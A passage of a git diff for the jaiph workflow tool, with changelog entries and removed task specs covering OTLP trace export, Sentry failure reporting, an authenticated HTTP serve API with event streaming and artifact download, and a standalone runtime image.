OTEL env; a `500` and a connection-refused collector each leave exit `0` with exactly one stderr warning; a shared-call/MCP invocation triggers exactly one export per call; a credential echoed in step output appears in the payload only as `[REDACTED]`). `package.json` `dependencies` stays absent. Docs: new [Export traces to an OTLP collector](observability.md) how-to, a "Telemetry variables" section in [Environment variables](env-vars.md), a README feature bullet, and the features overview on `docs/index.html`. (Observability feedback `2026-07-23` — "OTEL + Sentry configurable would be the easiest way".) + +- **Feat — Sentry error reporting on failed runs, zero dependencies:** A run that reaches an *unsuccessful* terminal state (nonzero exit or a terminating signal) is now reported to a Sentry error tracker as one **error event**, so teams running jaiph workflows on schedules or as a service (CI, Kubernetes) get failures pushed to their tracker with enough context to triage — instead of only a local run dir and a nonzero exit code. The new `src/cli/telemetry/sentry.ts` (zero runtime dependencies — a hand-rolled Sentry **envelope** POST is the whole transport) fires from the **same host-side, end-of-run choke point** that exports OTLP traces: the shared `exportRunTelemetry` hook (`src/cli/telemetry/otlp.ts`) now dispatches two independent, best-effort exporters — OTLP traces (every run, when a collector is set) and the Sentry report (**failed runs only**, when `SENTRY_DSN` is set) — so `jaiph run` completion and every workflow invoked through `jaiph mcp` / `jaiph serve` are all covered by one path. **Successful runs send nothing.** The timeout-guarded POST was extracted into a shared `src/cli/telemetry/http.ts` (`postWithTimeout`, `node:http`/`node:https`) that both exporters reuse. **Enablement is a standard Sentry DSN — no new `JAIPH_*`:** reporting is on iff `SENTRY_DSN` is set; the pure `parseSentryDsn` maps `https://@/` to the envelope endpoint `https:///api//envelope/` and the `X-Sentry-Auth: Sentry sentry_version=7, sentry_key=, sentry_client=jaiph/` header (a non-default port is preserved), and a malformed DSN produces exactly one stderr warning and no send. The pure `buildSentryEvent(lines, meta)` maps the run's `run_summary.jsonl` lines + `{workflow, exitStatus, signal, runDir, release, environment}` to the event, sourced **entirely from `run_summary.jsonl`** — already credential-redacted by `RuntimeEventEmitter`, never the raw `.out`/`.err` captures — so a secret in step output reaches Sentry only as `[REDACTED]`: **`event_id`** = the run-id UUID with dashes stripped; `timestamp`; `platform: node`; `level: error`; **`message.formatted`** = `workflow failed (exit N)`, or `terminated by signal S` (the signal wins over the exit code); **`tags`** `jaiph.workflow`, `jaiph.source` (source file basename), and the first failing `STEP_END`'s `jaiph.step.kind` / `jaiph.step.name` when known; **`extra`** `failing_step_detail` (that step's redacted `err_content`/`out_content` excerpt) and `run_dir`; **`fingerprint`** `["jaiph", , ]`, so re-occurrences group per workflow + failing step; **`release`** from `SENTRY_RELEASE` or `jaiph@`, and **`environment`** from `SENTRY_ENVIRONMENT` when set. `buildEnvelope` frames the body as three newline-separated JSON documents — an envelope header (`event_id` + `sent_at`), an item header (`type: event`), and the event JSON. **Never load-bearing:** an unreachable or erroring Sentry, a non-2xx status, or the 10 s timeout produces exactly one stderr warning and leaves the run's exit code, output, and journal untouched — no retries, no queue. Tests: `src/cli/telemetry/sentry.test.ts` (DSN endpoint + auth header, non-default port preserved, malformed → null/no-send; `event_id` matches the run-id hex; exit-code vs signal message, fingerprint, tags, and redacted-source excerpt; environment included only when set; no-failing-step → `unknown` fingerprint tail and no step tags; envelope framing as three JSON documents; a successful run and a failed run without a DSN send and warn nothing, a malformed DSN warns exactly once) and `integration/sentry-export.test.ts` (a fake Sentry HTTP server — a failing `jaiph run` with `SENTRY_DSN` delivers exactly one envelope carrying the failing step tag and redacted excerpt; a succeeding run and a failing run **without** `SENTRY_DSN` deliver nothing; a `500` and a connection-refused Sentry each leave the exit code at the no-DSN baseline with exactly one stderr warning; a credential echoed in the failing step's output reaches the delivered event only as `[REDACTED]`). `package.json` `dependencies` stays absent. Docs: a new [Report failed runs to Sentry](observability.md#report-failed-runs-to-sentry) section in [Export traces to an OTLP collector](observability.md), `SENTRY_DSN` / `SENTRY_ENVIRONMENT` / `SENTRY_RELEASE` rows in the telemetry section of [Environment variables](env-vars.md), a README feature bullet, and the features overview on `docs/index.html`. (Observability feedback `2026-07-23` — the Sentry half of "OTEL + Sentry configurable".) + +- **Feat — `jaiph serve` run inspection: live event stream + artifact download:** A `jaiph serve` client can now watch what a run is doing while it executes and retrieve the files it publishes, not just read its terminal result. Three new bearer-gated endpoints (`src/cli/serve/runfiles.ts` + routes in `src/cli/serve/handler.ts`, documented in the generated OpenAPI via `src/cli/serve/openapi.ts`) read from the run's durable, host-visible run directory — the same `run_summary.jsonl` journal and `artifacts/` tree `jaiph run` writes. **`GET /v1/runs/{id}/events`** serves the run's `run_summary.jsonl`: by default the whole journal as `application/x-ndjson`, verbatim, then closes; with `Accept: text/event-stream` it switches to **Server-Sent Events** — `streamRunEventsSse` replays every existing line as `data: `, then follows the file as it appends (polling ~250 ms), emits a `:ka` keep-alive comment every 15 s, and closes with `event: end` once the server's run registry marks the run terminal (so it works identically for a still-running run and an already-terminal one: full replay plus an immediate `end`). **`GET /v1/runs/{id}/artifacts`** returns `{artifacts: [{path, size, mtime}, …]}` for every regular file under the run's `artifacts/` (recursive, `[]` when none). **`GET /v1/runs/{id}/artifacts/{path}`** downloads one file as `application/octet-stream` with a `Content-Disposition` filename. All three are `404` on an unknown run id and `401` unauthenticated. To reach a run that is *still executing* — whose dir is only recorded on its record at finalize — the server injects a `resolveRunDir` resolver (`src/cli/commands/serve.ts`) that falls back to scanning the host runs root for the run id via `findRunDir` (`src/cli/shared/errors.ts`), which also resolves the **Docker-mode** host-side run dir (the run dir is a host mount in every sandbox mode). The HTTP layer grew a streaming path: `ServeResponse` now carries an optional `bodyBuffer` (binary bodies — NDJSON journal, artifact bytes) and a `stream(target)` hook driven by `src/cli/serve/server.ts`'s `makeStreamTarget`, which wires SSE writes to the socket and flips `aborted` (stopping the follow loop) the moment the client disconnects. **Security:** the journal is served **verbatim** — the credential redaction `RuntimeEventEmitter` already applies (values of `*_API_KEY` / `*_TOKEN` / `*_SECRET` env vars → `[REDACTED]`) *is* the redaction guarantee — and the raw per-step `%06d-*.out` / `.err` capture files are unreachable **by construction**: `listArtifacts` walks only the `artifacts/` subtree (the captures live in the run-dir root), and downloads go through `resolveArtifactPath`, which is traversal-proof via three guards checked before any read — reject empty/NUL requests, lexical containment (`resolve()` collapses `..`/absolute paths and the result must sit under `artifacts/`), and **symlink** containment (`realpathSync` on both the artifacts dir and the candidate — an `artifacts/` symlink pointing outside is rejected without reading its target, while one pointing inside still serves). Tests: `src/cli/serve/runfiles.test.ts` (artifact listing skips `.out`/`.err` captures; the full traversal battery — `../`, absolute, empty/NUL, directory, escaping symlink rejected without reading the target, inside-pointing symlink served, and a capture-file symlink rejected; SSE replays a terminal journal as `data:` frames then `event: end`, and stops promptly on client disconnect), `integration/serve-server.test.ts` (SSE mid-run: replayed `WORKFLOW_START`, a `STEP_END` **before** the run is terminal, `event: end` + socket close after completion, and the concatenated `data:` payloads equal the final journal line set; NDJSON on a terminal run byte-matches the journal; unknown run → `404`; unauthenticated → `401`; a credential echoed by a run is absent and `[REDACTED]` present in the stream; artifacts list-then-download round-trips byte-identically and a traversal is `404`), and `e2e/tests/147_serve_http_api.sh` (NDJSON byte-matches `run_summary.jsonl`; artifact list + byte-identical download; URL-encoded `%2e%2e` traversal → `404`). Docs: "Watch a run as it executes" and "Download a run's artifacts" sections in [Serve workflows over HTTP](serve.md) (with the raw-captures non-exposure called out as a security property), and the three endpoint rows in the `jaiph serve` table in [CLI](cli.md). (Deployability feedback `2026-07-23` — "a UI on top to be able to inspect what it is doing"; contract in `design/2026-07-23-serve-http-api.md` § Events streaming.) + +- **Feat — `jaiph serve`: HTTP API with OpenAPI 3.1 + Swagger UI:** A new command turns a `.jh` file into a network-reachable, self-describing HTTP service, complementing `jaiph mcp` (which exposes the same workflows only over stdio JSON-RPC to a co-located parent). `jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... ` (default `127.0.0.1:5247`) is dispatched from `src/cli/index.ts` and implemented in `src/cli/commands/serve.ts` + `src/cli/serve/`, hand-rolled on `node:http` with **no runtime npm dependencies** (project policy — `package.json` `dependencies` stays absent; the MCP server set the precedent). Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (errors to stderr, exit `1`), `--env` resolved once via `resolveEnvPairs`, Docker config + image prepared once, credential pre-flight as warnings, and a sandbox-mode notice; all logs go to stderr and one startup line prints the listen URL and the `/docs` URL. Endpoints: `GET /` → `302 /docs`; unauthenticated `GET /healthz`, `GET /openapi.json`, `GET /docs`; and bearer-gated `GET /v1/workflows`, `POST /v1/workflows/{name}/runs` (async `202` + `Location`, or `?wait=true` → terminal `200`), `GET /v1/runs`, `GET /v1/runs/{id}`, `POST /v1/runs/{id}/cancel`. A run is a durable resource `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir}` with `status ∈ running|succeeded|failed|cancelled`; **a workflow failure is not an HTTP error** — it comes back `200`/`202` with `status:"failed"` and the same failure narrative `jaiph mcp` returns. Errors use `{error:{code,message}}`: `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED`, `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `413 E_BODY_TOO_LARGE` (1 MiB body cap), `415 E_UNSUPPORTED_MEDIA_TYPE` (non-`application/json` body), `429 E_TOO_MANY_RUNS`. Workflow exposure, naming, descriptions, and request-body schemas come from the shared `deriveTools` (`src/cli/mcp/tools.ts`) — identical rules to MCP (export-narrowing, route-target exclusion, `default` handling, required-string params, `additionalProperties:false`), with param validation mirroring MCP's `-32602` rules as HTTP `400`. **Auth:** bearer token from `JAIPH_SERVE_TOKEN` (env only, never argv), constant-time compared, required on all `/v1/*`; `/healthz`, `/openapi.json`, `/docs` stay unauthenticated (schema metadata only, a documented trade-off) — and binding a non-loopback `--host` without the token set is a startup error before any socket opens. **Limits:** `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs → `429`. `GET /openapi.json` returns OpenAPI **3.1.0** generated per request by the pure `buildOpenApi(tools, serverInfo)` (`src/cli/serve/openapi.ts`) — one concrete path per workflow (own `operationId`, `#`-comment description, MCP input schema as request body), the run-resource paths, run/error component schemas, and a bearer `securityScheme`. `GET /docs` serves a static Swagger UI shell (`src/cli/serve/docs.ts`) loading `swagger-ui-dist` from a CDN with a **pinned exact version + SRI `integrity` hashes + `crossorigin`** on both assets and `SwaggerUIBundle({url:"/openapi.json", persistAuthorization:true})` — no vendored assets, so `/docs` needs browser internet access and `/openapi.json` is the offline fallback (air-gap consequence recorded in the design doc). Execution reuses the MCP call layer, **moved** from `src/cli/mcp/call.ts` to `src/cli/exec/call.ts` (`McpCallResult` → `WorkflowCallResult`, caller now supplies `runId`, result extended with `{runDir?, exitStatus?, signal?}`); sandbox selection, `--env` passthrough, and cancellation (child kill + `stopDockerContainer`) work exactly as for MCP calls. The generation/hot-reload machinery (`loadState`, watch/rewatch, generation dirs) was extracted from `src/cli/commands/mcp.ts` into `src/cli/shared/generation.ts` and is now shared by both commands; editing a served source re-derives the workflow set and the OpenAPI document with no restart, and a superseded generation's scripts dir is deleted only after its in-flight runs finish (refcounted, since HTTP runs can outlive a reload). Shutdown: the first `SIGINT`/`SIGTERM` stops accepting and drains in-flight runs, a second signal cancels them, exit `0`. `jaiph mcp` behavior is unchanged after the extraction (its own tests prove it). Tests: `src/cli/serve/handler.test.ts` (injected-deps handler — unknown workflow `404`; missing / non-string / unexpected param `400`; cancel `202` → terminal `cancelled` with child + container teardown, cancel-on-terminal `409`; `429`/`413`/`415`; auth matrix incl. non-loopback-without-token exit `1`), `src/cli/serve/openapi.test.ts` (output passes a real OpenAPI 3.1 validator devDependency; one path per exposed workflow with the exact MCP-derived schema, covering the export-narrowing fixture), `src/cli/serve/docs.test.ts` (pinned version + `integrity` + `crossorigin` on both assets), `integration/serve-server.test.ts` (real server on port 0 — `wait=true` round-trips a `return` value into `result_text` with `status:"succeeded"`; async `202` + `Location` polled to the same terminal result; failing workflow → HTTP `200` with `status:"failed"`, `exit_status`, and `run dir:` in `result_text`; hot-reload surfaces a new workflow in `/openapi.json` and `/v1/workflows` while a pre-reload run still completes), and `e2e/tests/147_serve_http_api.sh` (wired into `e2e/test_all.sh`). Docs: new [Serve workflows over HTTP](serve.md) how-to, a `jaiph serve` section in [CLI](cli.md), `JAIPH_SERVE_TOKEN` and `JAIPH_SERVE_MAX_CONCURRENT` rows in [Environment variables](env-vars.md), `printUsage` in `src/cli/shared/usage.ts`, a README feature bullet, and the features overview on `docs/index.html`. (Deployability feedback `2026-07-23`; contract in `design/2026-07-23-serve-http-api.md`.) # 0.11.0 ## Summary diff --git a/QUEUE.md b/QUEUE.md index ddf71b2c..64f890c3 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -13,165 +13,3 @@ Process rules: 7. **Acceptance criteria are non-negotiable.** A task is not done until every acceptance bullet is verified by a test that fails when the contract is violated. "It works on my machine" or "the existing tests pass" is not acceptance. *** - -## Feat: `jaiph serve` — HTTP API with OpenAPI + Swagger UI #dev-ready - -**Source:** Deployability feedback (2026-07-23): workflows must be invokable over the network and self-describing, not bound to a local stdio parent. Full contract: `design/2026-07-23-serve-http-api.md` — that document is the spec; this task pins the deliverable and its acceptance. - -**Problem:** `jaiph mcp` (`src/cli/commands/mcp.ts`) exposes workflows only over stdio JSON-RPC to a co-located parent process. There is no way to invoke a workflow over HTTP, no machine-readable API description, and no browser-usable surface. This blocks running jaiph as a deployed service (docker/kubernetes) callable by other systems. - -**Required behavior** (details, endpoint table, and error contract in the design doc): - -* New command `jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... `, default `127.0.0.1:5247`, dispatched from `src/cli/index.ts`, implemented in `src/cli/commands/serve.ts` + `src/cli/serve/`. Hand-rolled on `node:http` — **no runtime npm dependencies** (project policy; the MCP server set the precedent). devDependencies for tests are fine. -* Startup identical in spirit to `jaiph mcp`: graph load + `collectDiagnostics` (errors → stderr, exit 1), `--env` resolved once via `resolveEnvPairs`, Docker config resolved once, image prepared once, credential preflight as warnings, sandbox-mode startup notice. Logs to stderr; startup line prints listen URL + `/docs` URL. -* Endpoints (this task): `GET /` → 302 `/docs`; `GET /healthz`; `GET /openapi.json`; `GET /docs`; `GET /v1/workflows`; `POST /v1/workflows/{name}/runs` (async `202` + `Location`, or `?wait=true` → `200` terminal); `GET /v1/runs`; `GET /v1/runs/{id}`; `POST /v1/runs/{id}/cancel`. Run object and `{error:{code,message}}` shape per the design doc. A workflow failure is **not** an HTTP error (run object `status:"failed"`, HTTP 200/202). -* Exposure, naming, descriptions, and request-body schemas come from `deriveTools` (`src/cli/mcp/tools.ts`) — identical rules to MCP (export-narrowing, route-target exclusion, `default` handling, required-string params, `additionalProperties: false`). Param validation mirrors the MCP `-32602` rules as HTTP 400. -* Execution reuses the MCP call layer: move `src/cli/mcp/call.ts` to `src/cli/exec/call.ts`, rename `McpCallResult` → `WorkflowCallResult`, let the caller supply `runId` (today created inside `callWorkflow`), and extend the result with `{runDir?, exitStatus?, signal?}`. `jaiph mcp` behavior is unchanged after the move (its tests prove it). Sandbox selection, `--env` passthrough, and cancellation (child kill + `stopDockerContainer`) work exactly as for MCP calls. -* Hot reload: extract the generation machinery (`loadState`, watch/rewatch, generation dirs) from `src/cli/commands/mcp.ts` into `src/cli/shared/generation.ts`, used by both commands. For serve, a superseded generation's out dir is deleted only after its in-flight runs finish (refcount), since HTTP runs can outlive a reload. -* Auth: bearer token from `JAIPH_SERVE_TOKEN`, constant-time compare; required for all `/v1/*`; `/healthz`, `/openapi.json`, `/docs` stay unauthenticated (schema metadata only — documented trade). **Binding a non-loopback host without the token set is a startup error.** -* Concurrency cap `JAIPH_SERVE_MAX_CONCURRENT` (default 4) on simultaneous runs → `429`. Body cap 1 MiB → `413`; non-JSON POST → `415`. -* `GET /openapi.json`: OpenAPI **3.1.0** generated per request by a pure `buildOpenApi(tools, serverInfo)` (`src/cli/serve/openapi.ts`): one concrete path per workflow (own `operationId`, description from `#` comments, MCP input schema as request body), the run-resource paths, run/error component schemas, bearer `securityScheme`. -* `GET /docs`: static Swagger UI shell loading `swagger-ui-dist` from CDN with **pinned exact version + SRI integrity hashes + crossorigin**, `SwaggerUIBundle({url:"/openapi.json", persistAuthorization:true})`. No embedded/vendored UI assets (decision + air-gap consequence recorded in the design doc; `/openapi.json` is the offline fallback). -* Shutdown: first SIGINT/SIGTERM stops accepting and drains in-flight runs; second signal cancels them; exit 0. -* Docs: new `docs/serve.md` how-to; `docs/cli.md` section; `printUsage` in `src/cli/shared/usage.ts`; README bullet; `docs/env-vars.md` rows for `JAIPH_SERVE_TOKEN` and `JAIPH_SERVE_MAX_CONCURRENT` (src-parity docs-lint pins every new `JAIPH_*` name). - -Acceptance: - -* Integration test (real server, port 0, fixture `.jh`): `POST /v1/workflows/{name}/runs?wait=true` round-trips a workflow `return` value in `result_text` with `status:"succeeded"`; async POST returns `202` + `Location`, and polling `GET /v1/runs/{id}` reaches the same terminal result; the run dir exists under `.jaiph/runs/` with `run_summary.jsonl`. -* Integration test: a failing workflow returns HTTP 200 (`wait=true`) with `status:"failed"`, `exit_status` set, and `result_text` containing the failed step and `run dir:` — proving workflow failure is not an HTTP error. -* Unit tests (injected-deps handler, `McpServer`-style): unknown workflow → 404; missing / non-string / unexpected param key → 400; cancel → 202 then terminal `cancelled` (child + container teardown invoked), cancel on terminal run → 409; concurrency cap → 429; body cap → 413; non-JSON POST → 415. -* Auth matrix test: with `JAIPH_SERVE_TOKEN` set, `/v1/*` without or with a wrong bearer → 401 and correct bearer → 200, while `/healthz`, `/openapi.json`, `/docs` answer 200 unauthenticated; a unit test proves non-loopback `--host` without the token exits 1 before listening. -* `buildOpenApi` output passes a real OpenAPI 3.1 schema validator (devDependency, test-only); a test asserts one path per exposed workflow with the exact MCP-derived schema, covering the export-narrowing fixture. -* A test asserts the `/docs` HTML pins an exact `swagger-ui-dist` version with `integrity` + `crossorigin` attributes on both assets. -* Hot-reload integration test: adding a workflow to the fixture file surfaces it in `/openapi.json` and `/v1/workflows` without restart; a run started before the reload still completes successfully. -* `jaiph mcp` unit/integration tests pass unchanged after the `call.ts`/generation extraction (no behavior drift in the shared layer). -* `package.json` `dependencies` remains absent/empty; `npm test` passes (which enforces the env-vars docs parity rows). - -*** - -## Feat: `jaiph serve` run inspection — live event stream + artifacts #dev-ready - -**Source:** Deployability feedback (2026-07-23): "a UI on top to be able to inspect what it is doing" — the API half of that is streaming run events and exposing artifacts over HTTP. Contract: `design/2026-07-23-serve-http-api.md` (§ Events streaming). Requires the `jaiph serve` command (`src/cli/commands/serve.ts`, run registry + bearer auth) already in the codebase. - -**Problem:** A `jaiph serve` client can see a run's terminal result but not what the run is doing while it executes, and cannot retrieve published artifacts. The durable journal (`run_summary.jsonl`, written by `RuntimeEventEmitter` — hash-chained, credential-redacted, host-visible in every sandbox mode because the run dir is a host mount) already contains everything needed; it just isn't reachable over HTTP. - -**Required behavior:** - -* `GET /v1/runs/{id}/events` (bearer-authed, 404 unknown run): - * default: `application/x-ndjson` — the run's `run_summary.jsonl` content as-is, then close. - * `Accept: text/event-stream` → SSE: replay every existing journal line as `data: `, then follow the file (poll ~250 ms) emitting new lines as they append; when the server's registry marks the run terminal, emit `event: end` and close. Keep-alive comment (`:ka`) every 15 s. Works for already-terminal runs (full replay + immediate `end`). - * The journal is served verbatim — the redaction already applied by `RuntimeEventEmitter` is the redaction guarantee. Raw `%06d-*.out/.err` capture files are **never** exposed by any endpoint. -* `GET /v1/runs/{id}/artifacts` → JSON list of files under the run dir's `artifacts/` (relative paths, size, mtime); empty list when none. -* `GET /v1/runs/{id}/artifacts/{path}` → file bytes, `application/octet-stream`, `Content-Disposition` filename. **Traversal-proof:** resolve the requested path against the artifacts dir and reject (404) anything escaping it — `..` segments, absolute paths, and symlinks pointing outside the artifacts dir (check `realpath` containment, not string prefix only). -* Docker-mode runs: the journal/artifacts are read from the host-side run dir (discovered as the existing call layer already does via `discoverDockerRunDir`/`remapContainerPath` in `src/cli/shared/errors.ts`). -* Docs: extend `docs/serve.md` with a "watch a run" section (curl SSE example) and artifacts section; note the raw-captures non-exposure as a security property. - -Acceptance: - -* Integration test with a multi-step fixture workflow slow enough to observe (e.g. `sleep` steps): connect SSE mid-run and assert (a) replayed `WORKFLOW_START` arrives, (b) at least one `STEP_END` event arrives **before** the run is terminal, (c) `event: end` arrives and the socket closes after completion, (d) the concatenated `data:` payloads equal the final `run_summary.jsonl` line set. -* Test: NDJSON mode on a terminal run byte-matches the journal file; events endpoint on an unknown run id → 404; unauthenticated → 401. -* Redaction test: a workflow that echoes a credential env value (key matching the `_API_KEY`/`_TOKEN` redaction suffixes, value ≥8 chars) produces an event stream where the value is absent and `[REDACTED]` present. -* Artifacts round-trip test: a workflow publishing a file to `$JAIPH_ARTIFACTS_DIR` lists and downloads it byte-identically. -* Traversal test battery: `../`-containing path, absolute path, URL-encoded `%2e%2e`, and a symlink inside `artifacts/` pointing outside the run dir all return 404 without reading the target; a symlink target **inside** artifacts still serves. -* A grep-style test or unit assertion proves no route serves `*.out`/`*.err` capture files. -* `npm test` passes. - -*** - -## Feat: OTLP trace export — one span tree per run, zero dependencies #dev-ready - -**Source:** Observability feedback (2026-07-23): "OTEL + Sentry configurable would be the easiest way" to make jaiph observable in a company setting. This task is the OTEL half. - -**Problem:** A jaiph run already produces a complete, credential-redacted, hash-chained event timeline (`run_summary.jsonl`, written by `RuntimeEventEmitter`, `src/runtime/kernel/runtime-event-emitter.ts`), but it is invisible to standard observability stacks (Grafana/Tempo, Honeycomb, Datadog, any OTLP collector). Operators running workflows in CI or as a service have no traces, no latency breakdown per step/prompt, and no failure signal outside the local run dir. - -**Required behavior:** - -* **Architecture decision (pinned):** export happens **host-side, after the run completes, by reading the run's `run_summary.jsonl`** — not inside the runtime/emitter. Rationale: the journal is complete (the live stderr stream lacks `WORKFLOW_*` events), already redacted, and host-visible in every sandbox mode (the run dir is a host mount), so nothing new crosses the container boundary and no `OTEL_*` env forwarding into the sandbox is needed. Runs are minutes-long; end-of-run batching is the normal OTLP pattern anyway. -* New module `src/cli/telemetry/otlp.ts`, zero runtime dependencies (`node:https`/`node:http` request only): - * a **pure** function `runSummaryToOtlp(lines, meta)` mapping journal lines + `{workflow, exitStatus, signal, serviceName, resourceAttributes}` to an OTLP/HTTP **JSON** `ExportTraceServiceRequest`; - * a poster with a 10 s timeout. -* Mapping contract: - * `traceId` = the run id UUID with dashes stripped (32 hex chars — OTLP/JSON encodes trace/span ids as hex per the spec's JSON mapping); `spanId` = first 16 hex chars of `sha256()`. Deterministic: re-exporting a run yields identical ids. - * Root span per run: name `workflow `, from `WORKFLOW_START`/`WORKFLOW_END` timestamps (fallback: first/last event `ts`); status `ERROR` (code 2) when `exitStatus !== 0` or a signal terminated the run, else `OK`. - * One span per `STEP_START`/`STEP_END` pair (matched by event `id`), parented via the event's `parent_id` (root when null); `kind: SPAN_KIND_INTERNAL`; attributes: `jaiph.step.kind`, `jaiph.step.func`, `jaiph.step.name`, `jaiph.step.seq`, `jaiph.step.depth`, `jaiph.step.status`, `jaiph.step.elapsed_ms`; span status ERROR when the step status is nonzero. - * `PROMPT_START`/`PROMPT_END` pairs become child spans of their `step_id` with `jaiph.prompt.backend`, `jaiph.prompt.model`, `jaiph.prompt.status`. - * `LOGERR`/`LOGWARN` become span events on the root span. `ts` (ISO) → `timeUnixNano` as strings. A `STEP_START` with no matching `STEP_END` (crash) closes at the last event timestamp with status ERROR. - * Resource: `service.name` from `OTEL_SERVICE_NAME` (default `jaiph`), pairs from `OTEL_RESOURCE_ATTRIBUTES`, plus `jaiph.version`, `jaiph.run_id`, `jaiph.workflow`, `jaiph.source`. -* Enablement & endpoint (standard OTEL env, no new `JAIPH_*` unless genuinely needed — any that is added must get its `docs/env-vars.md` row, the parity lint enforces this): enabled iff `OTEL_EXPORTER_OTLP_TRACES_ENDPOINT` (used verbatim) or `OTEL_EXPORTER_OTLP_ENDPOINT` (base URL, `/v1/traces` appended) is set. `OTEL_EXPORTER_OTLP_HEADERS` (comma-separated `k=v`) applied. Only `http/json` is spoken: if `OTEL_EXPORTER_OTLP_PROTOCOL` is set to anything other than `http/json`, warn on stderr and skip export (respect the operator's explicit intent rather than mis-speak a protocol). -* Hook point: a single shared post-run function (e.g. `exportRunTelemetry({runDir, workflow, exitStatus, signal, env})`) invoked wherever a run reaches terminal state on the host — `jaiph run` completion and the shared workflow-call layer used by MCP tool calls (`src/cli/mcp/call.ts` or its current location). One choke point, all modes covered (host, Docker snapshot, inplace). -* **Failure semantics: telemetry is never load-bearing.** Unreachable/erroring collector → exactly one stderr warning line; the run's exit code, output, and journal are untouched. No retries, no queue. -* Docs: `docs/observability.md` how-to (enabling against a local `otel-collector`, one hosted-backend example, span-tree screenshot-level description of what maps to what); `docs/env-vars.md` gets a "Telemetry variables" section listing the consumed `OTEL_*` names (the page already covers non-`JAIPH_*` vendor variables); README bullet. - -Acceptance: - -* Unit tests on `runSummaryToOtlp` with fixture journals: trace id derived from run id; step span parented per `parent_id`; prompt span is a child of its `step_id` with backend/model attributes; failed step → span status 2; nonzero run exit → root status 2; ISO `ts` → correct `timeUnixNano` strings; unmatched `STEP_START` closes with ERROR at last event time; deterministic ids across two invocations. -* Unit tests: endpoint resolution (traces-specific verbatim vs generic + `/v1/traces`; traces-specific wins when both set), header parsing, `http/json`-only protocol guard (warn + skip on `grpc`). -* Integration test: a local fake-collector HTTP server receives exactly one well-formed POST to `/v1/traces` after a `jaiph run` with the env set; the same run with no OTEL env sends nothing; with the collector returning 500 (and separately: connection refused), the run's exit code is 0 and exactly one warning line appears on stderr. -* Integration test: an MCP `tools/call` (or shared-call-layer invocation) also triggers exactly one export per call. -* Redaction test: a credential value present in step output appears in the exported payload only as `[REDACTED]` (the export reads the journal, never raw captures). -* `package.json` `dependencies` remains absent/empty; `npm test` passes. - -*** - -## Feat: Sentry error reporting on failed runs #dev-ready - -**Source:** Observability feedback (2026-07-23): "OTEL + Sentry configurable". This task is the Sentry half: failed workflow runs become Sentry error events so operators get alerting/grouping without scraping run dirs. - -**Problem:** A failed run's only trace is its local run dir and a nonzero exit code. Teams running jaiph workflows on schedules or as a service (CI, k8s) need failures pushed to their error tracker with enough context to triage — workflow, failing step, redacted output excerpt, run dir pointer. - -**Required behavior:** - -* New module `src/cli/telemetry/sentry.ts`, zero runtime dependencies — a Sentry **envelope** POST hand-rolled over `node:https` (create `src/cli/telemetry/http.ts` for the shared timeout-guarded POST helper if `src/cli/telemetry/` already has one, reuse it). -* Enabled iff `SENTRY_DSN` is set. DSN `https://@/` parses to endpoint `https:///api//envelope/` with header `X-Sentry-Auth: Sentry sentry_version=7, sentry_key=, sentry_client=jaiph/`. Malformed DSN → one stderr warning, no send. -* Fires **only** when a run terminates unsuccessfully (nonzero exit or signal), from the same host-side post-run hook that handles run completion for all modes (`jaiph run` and the shared MCP/HTTP call layer) — one choke point. Successful runs send nothing. -* Event content (all excerpts sourced from the run's `run_summary.jsonl`, which is already credential-redacted — never from raw `.out`/`.err` captures): - * `event_id` = run id UUID, dashes stripped; `timestamp`; `platform: "node"`; `level: "error"`; - * `message.formatted` = `workflow failed (exit N)` / `terminated by signal S`; - * `tags`: `jaiph.workflow`, `jaiph.source` (basename), failing step kind/name when known; - * `extra`: failing step detail excerpt (the `STEP_END` `err_content`/`out_content`), `run_dir`; - * `fingerprint`: `["jaiph", , ]` so re-occurrences group per workflow+step; - * `release` = `SENTRY_RELEASE` or `jaiph@`; `environment` = `SENTRY_ENVIRONMENT` when set. - * Envelope body = header line `{"event_id","sent_at"}` + item header `{"type":"event"}` + event JSON, newline-separated. -* **Failure semantics: never load-bearing.** Unreachable Sentry, non-2xx, timeout (10 s) → exactly one stderr warning; run exit code and output untouched. No retries. -* No new `JAIPH_*` variables expected; if any is introduced it gets its `docs/env-vars.md` row (parity lint). `SENTRY_DSN`/`SENTRY_ENVIRONMENT`/`SENTRY_RELEASE` are documented in the env-vars page's non-`JAIPH_*` telemetry section and in `docs/observability.md`. - -Acceptance: - -* Unit tests: DSN parsing (endpoint + auth header; malformed → warn/no-send), envelope framing (three newline-separated JSON documents, `event_id` matches run id hex), fingerprint and message composition for exit-code vs signal terminations. -* Integration test with a local fake-Sentry HTTP server: a failing `jaiph run` with `SENTRY_DSN` set delivers exactly one envelope whose event carries the failing step tag and redacted excerpt; a succeeding run delivers nothing; a failing run **without** `SENTRY_DSN` delivers nothing. -* Failure-isolation test: fake Sentry returns 500 (and separately: connection refused) — the run's exit code is unchanged from the no-DSN baseline and exactly one warning line lands on stderr. -* Redaction test: a credential value that appears in the failing step's output shows up in the delivered event only as `[REDACTED]`. -* `package.json` `dependencies` remains absent/empty; `npm test` passes. - -*** - -## Feat: standalone runtime image — run jaiph in docker/k8s without a host orchestrator #dev-ready - -**Source:** Deployability feedback (2026-07-23): "a docker image with codex/cursor/claude code already installed so that the user only needs to put the credentials + the jaiph files and run it … that would allow anyone to run jaiph in docker/kubernetes" — and "it can't depend on a local machine + docker". - -**Problem:** `ghcr.io/jaiphlang/jaiph-runtime` (`runtime/Dockerfile`) already contains jaiph plus the claude/cursor/codex backends and a full toolchain, but it is only ever used as a sandbox rootfs *orchestrated by a host jaiph process*. Running it directly (`docker run … jaiph run flow.jh`, or as a k8s pod) fails the wrong way: jaiph defaults to Docker sandboxing on Linux and there is no Docker daemon inside the container. There is also zero documentation for deploying the image as the runner itself, even though `.github/workflows/nightly-engineer.yml` proves jaiph works headless on a bare Linux box. - -**Required behavior:** - -* **Bake `ENV JAIPH_UNSAFE=true` into `runtime/Dockerfile`** with a comment stating the rationale: *inside this image, the container is the sandbox* — host-mode execution is the correct default, and the interactive `--unsafe` confirmation is impossible/meaningless in an unattended pod. Verify and pin by test that this does not change host-orchestrated sandbox behavior: the 